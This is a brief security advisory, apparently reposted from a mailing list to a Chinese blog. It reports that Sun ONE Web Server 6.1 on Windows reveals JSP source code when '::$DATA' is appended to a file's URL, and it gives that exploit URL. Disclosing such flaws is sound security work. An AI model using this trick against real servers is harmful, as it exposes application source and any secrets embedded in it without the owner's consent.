Sun One WebServer 6.1 JSP Source Viewing vulnerability

From:    Kingcope Kingcope <kcope2_(at)_googlemail.com>

Sun One WebServer 6.1 JSP Source Viewing vulnerability 
System: Sun-ONE-Web-Server/6.1, Windows Server 2003 

SunOne WebServer (formerly Netscape Enterprise Server, iPlanet) on Windows Systems lets remote people disclose 
JSP Source code. 

A normal URL would look like: 

http://server/hello.jsp 

To disclose the contents including source code of a JSP file: 

http://server/hello.jsp::$DATA 

Best Regards, 

Nikolaos Rangos 

本文转hackfreer51CTO博客，原文链接：http://blog.51cto.com/pnig0s1992/458539，如需转载请自行联系原作者